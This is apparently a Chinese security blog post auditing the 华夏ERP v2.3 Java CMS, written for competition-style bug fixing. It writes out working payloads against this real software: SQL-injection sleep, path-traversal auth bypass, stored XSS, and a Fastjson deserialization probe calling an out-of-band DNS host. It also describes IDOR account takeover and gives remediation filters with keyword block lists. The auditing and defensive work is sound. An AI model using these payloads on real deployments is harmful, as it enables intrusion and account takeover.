Drunkbaby
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

Java 代码审计之华夏 ERP CMS v2.3
项目地址: Release 华夏ERP_v2.3
0x01 前言
这个 CMS 被用于了蓝帽杯的比赛当中,是让我们进行修洞了,当时因为自己环境的一些问题没有把这道题目修好,感觉到非常遗憾。
趁着自己最近学了一会儿的代码审计,想尝试自己审计一遍。
0x02 环境
简单搭即可,导 sql,修改端口为 8081,方便测试。
0x03 代码审计
1. 审计准备
我个人的习惯是先看一看 pom.xml,再看一些 Filter
pom.xml
这里有个 fastjson 1.2.55 的洞,或许可以进行反序列化的攻击,不确定,cy 一下。
还有一个 log4j2 的漏洞,我们后续会提到
其他组件基本就没啥了,我们去看 Filter
Filter 审计
使用@WebInitParam
注解配置多个 name,对.css#.js#.jpg#.png#.gif#.ico
,/user/login#/user/registerUser#/v2/api-docs
资源请求的时候不会进行拦截。
再来看具体的 Filter 做了什么工作,关于 Filter:Java内存马系列-01-基础内容学习)
我们需要去到
doFilter()
方法中去看
这个doFilter()
方法,先是做了一个很基础的拦截器,代码如下
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String requestUrl = servletRequest.getRequestURI();
//具体,比如:处理若用户未登录,则跳转到登录页
Object userInfo = servletRequest.getSession().getAttribute("user");
这里有几种情况是不阻止的:register.html,login.html,以及 doc.html;因为如果这几个网站被 ban,业务都跑不了了。
继续往下看,其中定义了一个verify()
方法,这是拿来自己添加不被拦截的网页的,可能是当时开发者想要测试功能性,所以就多了这么一个verify()
方法。
这里也和上面的@WebInitParam
注解对应起来了,当我们不处于登录的状态下,也可以直接访问.css,.js
这些文件,测试如图。
再往下看,是关于allowUrls
的一个判断,简单来说allowUrls
就是加白,这也和我们上面讲的@WebInitParam
注解对上了,如图
现在我们把
Filter
全部都解读完了,做个小结,并且思考
关于审计完 Filter 后的思考
小总结
1、加了白,对应的资源加白在ignoredUrl
中,以#
分割,看似没什么问题;还有对应的 Path 加白,加了/user/login
,/user/registerUser
以及/v2/api-docs
2、没有进行 XSS 的转义过滤和 SQL 注入的恶意字符过滤,一般来说,以 RuoYi 的项目为例:都会存在一个专门过滤的 Filter,但是这里面没有,或许会埋下部分伏笔。
思索
对于加白的思索:是否会存在潜在的未授权访问?对于资源加白 ————ignoredList
的判断只是进行了正则的判断,这并不符合开发的安全性,正确的写法应该使用endsWith()
来判断 URL 是否以.css
;.js
等资源后缀结尾
对于 URL 加白的思考:使用startsWith()
方法来判断 URL 是否是白名单开头的时候,可以使用目录穿越来骗过判断,导致可以绕过认证请求。这种方式比较神奇,后续会打断点调试看看。
审计准备小结
先看 pom.xml,再看 Filter。
这里总结出来,单看 Filter 就看出来几个隐藏的漏洞了:比如可能存在的 SQL 注入,比如可能存在的 XSS;还有一些越权的漏洞
2. SQL 注入
关于 SQL 注入在 Java 当中的代码审计可以看我这篇文章:Java OWASP 中的 SQL 注入代码审计
根据 pom.xml 我们可以知道这是个 mybatis,所以对于 mybatis 的 SQL 注入,我们可以直接在mapper_xml
文件夹内进行全局搜索$
以及like
,in
以及order by
。
当然,前提是有问题的 SQL 语句当中,输入是可控的。
我们在mapper_xml
文件夹下全局搜索like
关键字
出师及其顺利!(后面发现并不是)
失败的 SQL 注入
我们先点进去看看,大致分析如图
实际开发当中,对应AccountMapperEx.xml
的一般都是定义在AccountMapperEx
接口中(如果封装的好的话
对应的 controller 文件应该是AccoutController
。对应的 service 文件是AccoutService
,这里一步步逆推,根据反序列化的链子的思维似乎是要出点问题。
问题在于,最后总是会指向一个ResourceController
,有师傅的文章说可以一直找,我个人认为这种是错误的。
根据 MVC 架构思维,我们先看 Service 层,定位如图
但是到这个地方就断掉了,说明其实这里,name 并不是可控的,算是一个小失败。
总结一下这次的 SQL 注入失败原因,输入并非可控。
成功的 SQL 注入
这里我们就直接去找UserMapperEx.xml
,因为这个业务点我认为是非常非常直接的,显山露水的,找可控点更为容易。在UserMapperEx.xml
里面搜索like
这一关键字
对应的,我们去到接口:UserMapperEx.java
对应的 Service 接口与 Controller 接口如图
那么试想一下运用到这个 SQL 语句的场景该是什么?很明显在/addUser
这个情况下是可以触发的。
我这里访问了/user/list
页面,抓包后看到了search
后跟着一堆参数,这堆参数进行 URL 解码后是userName
与loginName
的值。
看到这里我立马明白了,其实countsByUser()
这个有问题的 SQL 语句并不是说只有后端处理/addUser
接口的时候才会用到,而是只要我以 userName 和 loginName 作为参数进行搜索就会用到。
我们的 payload 如下
{"userName":"","loginName":"' AND SLEEP(5)-- jsh"}
一个简单的盲注,成功!同时我们在控制台可以看到有如图的 SQL 语句
在 Burpsuite 中亦测试成功
相类似的 SQL 注入在这个项目里面还有很多很多,师傅们在学习的时候可以尝试自己挖掘并测试。
SQL 注入的修复
详见这篇文章 Java OWASP 中的 SQL 注入代码审计
如果对于应急处理,比如很多 AWD Plus 的情况下,建议是写一个 FIiter 来防御,代码如下
import org.springframework.stereotype.Component;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Enumeration;
/**
@ author: Drunkbaby
@ usages: 用于 SQL 注入的自定义防护
需要加入相应的 Servlet 环境,因为我这里是纯代码,就不打环境了
@ 过滤 url:在 WebFilter 当中添加 urlPatterns
*/
@Component
@WebFilter(urlPatterns = "/system/role/list", filterName = "sqlInjectFilter")
public class sqlFilter implements Filter {
public void destroy() {
}
public void init(FilterConfig arg0) throws ServletException {
}
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
// 获得所有请求参数名
Enumeration params = request.getParameterNames();
String sql = "";
while (params.hasMoreElements()) {
// 得到参数名
String name = params.nextElement().toString();
// 得到参数对应值
String[] value = request.getParameterValues(name);
for (int i = 0; i < value.length; i++) {
sql = sql + value[i];
}
}
if (sqlValidate(sql)) {
throw new IOException("您发送请求中的参数中含有非法字符");
} else {
chain.doFilter(request, response);
}
}
/**
* 参数校验
* @param str
*/
public static boolean sqlValidate(String str) {
str = str.toLowerCase();//统一转为小写
String badStr = "select|update|and|or|delete|insert|truncate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute|table";
String[] badStrs = badStr.split("\\|");
for (int i = 0; i < badStrs.length; i++) {
//循环检测,判断在请求参数当中是否包含SQL关键字
if (str.indexOf(badStrs[i]) >= 0) {
return true;
}
}
return false;
}
}
我们可以自定义过滤的恶意字符,比如--+
;'
这些非业务需要的字符。
3. 两个白名单的越权(权限校验绕过)
看完了 SQL 注入,看一下关于前文提到的白名单越权的
正常业务 URL 加白
资源加白的问题在前面已经说过了,我们现在直接来复现一遍
当我们没有处于登录态的时候,发包/访问时得到的是一个 302 的重定向回显,如图
前文说到,这几种请求是不会被拦截的:/doc.html
,/register.html
,/login.html
所以我们构造如下 payload
/login.html/../home.html
成功 Bypass
资源加白
同上面是一样的,因为没有做严格的endsWith()
的判断
payload 如下
/1.css/../home.html
URL 加白
同样的攻击手段
/user/login/../../home.html
这个攻击不如前两种好用,它要求你知道文件的路径
漏洞修复
最简单的应急方法应该是过滤../
,也就是寻常的目录遍历防御手段一直,这种防御可以直接加在 Filter 里面,代码如下
package PathTravelFilter;
import java.util.regex.Pattern;
/**
@ author: Drunkbaby
@ usages: 用于目录遍历的单个字符防御
*/
public class PathFilter {
//private static Pattern FilePattern = Pattern.compile("[\\\\/:*?\"<>|]");
private static Pattern FilePattern = Pattern.compile("[\\s\\.:?<>|]"); //过滤规则
public static String filenameFilter(String str) {
return str==null?null:FilePattern.matcher(str).replaceAll("");
}
public static void main(String[] args) {
String str="home/.. <>|logs/../:edata?";
//String filenameFilter = filenameFilter(str);
String filenameFilter = fileNameValidate(str);
System.out.println(filenameFilter);
}
private static String fileNameValidate(String str) {
String strInjectListStr ="../|./|/..| |<|>|:|?";
if(null!=strInjectListStr && !"".equals(strInjectListStr))
{
str = str.toLowerCase();
String[] badStrs = strInjectListStr.split("\\|");
for (int i = 0; i < badStrs.length; i++) {
if (str.indexOf(badStrs[i]) >= 0) {
str= str.replace(badStrs[i], "");
}
}
}
return str;
}
}
4. 存储型 XSS
在之前审计Filter
的时候并未发现针对 XSS 进行了些许过滤
XSS 本质上是把我们输入的东西拼接到 HTML 语句里面去,这一块我们先随意选取一个界面
http://127.0.0.1:8081/index.html#/pages/financial/item_in.html
在备注当中插入即可,今年蓝帽杯决赛的时候也是出了这个题目,这道题目名叫《赌怪》,我个人对于这道题目的理解就是,这是一个洞很多的 CMS,最好就全修了,但是当时上 Filter 防御失败了。
每一次访问的时候都会造成 XSS
在很多界面都存在这个问题,比如说用户管理这里,添加用户,也会造成存储型 XSS
漏洞修复
直接添加 Filter 的方式会比较直接
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import java.io.IOException;
import java.util.List;
/**
@ author: Drunkbaby
@ usages: 用于 XSS 的自定义防护
*/
public class XSSFilter implements Filter {
FilterConfig filterConfig = null;
private List urlExclusion = null;
public void init(FilterConfig filterConfig) throws ServletException {
this.filterConfig = filterConfig;
}
public void destroy() {
this.filterConfig = null;
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException, IOException {
HttpServletRequest httpServletRequest = (HttpServletRequest) request;
String servletPath = httpServletRequest.getServletPath();
if (urlExclusion != null && urlExclusion.contains(servletPath)) {
chain.doFilter(request, response);
} else {
chain.doFilter((ServletRequest) new XssHttpServletRequestWrapper((HttpServletRequest) request), response);
}
}
public List getUrlExclusion() {
return urlExclusion;
}
public void setUrlExclusion(List urlExclusion) {
this.urlExclusion = urlExclusion;
}
}
class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
super(servletRequest);
}
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = cleanXSS(values[i]);
}
return encodedValues;
}
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
if (value == null) {
return null;
}
return cleanXSS(value);
}
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null)
return null;
return cleanXSS(value);
}
private String cleanXSS(String value) {
//You'll need to remove the spaces from the html entities below
value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;");
value = value.replaceAll("'", "& #39;");
value = value.replaceAll("eval\\((.*)\\)", "");
value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
value = value.replaceAll("script", "");
return value;
}
}
通过转义恶意字符的方式进行修复,但是我个人认为这里这么修不算是一种好的修法,算是俗修。
真正修法应该是写一个 Utils 的工具类,把一些输入进行处理,并且因为这里不存在反射型 XSS,还有一种修法,可以把这些要存入数据库的数据进行过滤。这个在实际开发里面用的比较多。
5. Fastjson 反序列化 RCE
因为在项目中Fastjson
版本是 1.2.55,存在 RCE 的漏洞,这里反序列化的地方很多,我们要去找的地方一定是要输入可控的。
这里我思考了一下,应该直接去找关于search
的,也就是和上面 SQL 注入的一样,全局搜索parseObject
,找到了StringUtil
这个工具类
它的getInfo()
方法中,是存在一个parseObject()
反序列化的语句,我们接下来去找谁调用了StringUtil.getInfo()
这一个
UserComponent.getUserList()
其实和我们之前在 SQL 注入漏洞里面看到的是一样的,所以对于攻击来说,我们依旧可以把它作为攻击的入口。
构造一个 URLDns 的请求,payload 如下
search={"@type":"java.net.Inet4Address","val":"xtuit14cnmcrndt2043mwlxoafg74w.oastify.com"}
发包如图
收到了 DNS 请求
证明存在 Fastjson 漏洞,然后我们进一步构造 payload,进行弹 shell 实践。
这里对 jdk 版本是要低一些,并且要先开启AutoTypeSupport
师傅们可以现在本地进行测试。
先开启恶意.class
和 Ldap
弹计算器成功
漏洞修复
我个人认为这里并不算漏洞,因为并未开启
checkAutoType
6. 越权漏洞
越权密码重置
对应这里,先去看它的接口
发现这个业务逻辑的代码是写在 Service 层里面的,跟进一下 Service 层的代码
这里只是简单判断了"admin".equals(loginName)
,从开发的角度上来说,我个人这里可能更偏向于使用 JWT,或者说加一个 Admin 的白名单,诸如此类的设计思维。
在判断完"admin".equals(loginName)
之后,如果不是 admin,这里就直接进行user.setPassword()
了,并未将 ID 与 loginName 一一对应。
漏洞操作如图,先进行密码重置
接着,修改 userId 为其他用户的,这里可以进行批量发包,会导致所有普通用户的密码全部被修改
这里的这个漏洞,可以和之前我们说的未授权漏洞结合起来。
越权删除用户
先去看
deleteUser
对应的接口
同样,去看 Service 层的业务代码
这里其实这么写是也有道理的,我们可以发现普通用户是没有管理用户这个界面的,所以对于代码来说,也是情有可原。
但是问题就出在doc.html
中,这个接口文档在被未授权读取之后,能够看到所有的 URL,配合之前的未授权可以进行删库的操作,但是可利用性并不大。
我们先用 admin 的账户抓一个deleteUser
的包
再用我们普通用户权限去抓包,替换 Session,替换 ID,成功删除 admin 的账户。这里的水平越权与垂直越权都是存在的。
再登录,就是用户不存在了
越权修改用户信息
对应的接口是updateUser
去到 Service 层,这里有一个checkUserNameAndLoginName(ue);
的语句,跟进去看一下
checkUserNameAndLoginName()
做了一个什么业务呢,它进行UserName
与loignName
是否为空的判断
我们先看loginName
是否为空的判断
再看userName
乍一看代码好像没啥问题,这里最大的问题是没有把
loginName
或是UserName
与 ID 进行一个匹配。
我之前在学开发的时候也被人这么说过,大致意思就是 "这种操作你怎么会不进行一个 ID 与 userName 的判断的啊?亏你还是学安全的";
具体的复现就先不复现了,我们重点关注越权漏洞的修复
漏洞修复
实现方式也很简单,在 Mapper 的 SQL 语句中加上selectIdByUserName
就可以了,这样的话我们只需要进行如下判断
Long userId=userEx.getId();
String loginName=userEx.getLoginName();
if (userId.equals(getIdByLoginName(loginName))){
// 这里面判断匹配,进行业务代码实现
} else {
return;
}
7. 经测试,不存在 log4j2 漏洞
之前看其他师傅的文章说,看组件还是有 log4j2 的漏洞的,其实根本没有啊,对应的 maven 仓库,并不显示存在 log4j2 漏洞
0x04 关于蓝帽杯决赛 awd Plus 对于这个 CMS 变样考法的思考
当时因为我自己的一些原因没有修出来,赛后看其他队伍的 WP 是这么修的。
其实我是有点不太理解的,如果只是一个单纯的入口的话要开启 AutoType 才可以吧,不明白为什么这里算是漏洞点了。
在请教过 Y4tacker 师傅之后这里总算是明白了!
重要点
AutoType
为 false 时 :先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
AutoType
为 true 时 :先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
所以
AutoType
一般都为 false,这样的防御更加严格。
1.2.55 的版本也是存在能够不开启AutoType
的 PoC 的,而且也不少,所以这里也是存在漏洞的。具体的 PoC 可以参考这个仓库 https://github.com/safe6Sec/Fastjson
要用的 PoC 是 fastjson<=1.2.68 的攻击方法,正好这里也有hikari
的库,所以这个题目应该是这么打的。
至于在比赛当中的修复,直接把这个入口类 ban 掉即可。有一些其他接口也是存在parseObject()
的反序列化入口,但是输入并不可控,就没有必要管了。
0x05 小结
审计 Java 项目可以直接通过全局搜索进行白盒的代码审计,尤其是 SQL 注入,fastjson 反序列化这种漏洞,尤为明显。
刚入门 Java 不久,还很菜,文章中如有写的不好的地方还望请师傅们指出,感激不尽!
0x06 参考资料
https://www.cnblogs.com/bmjoker/p/14856437.html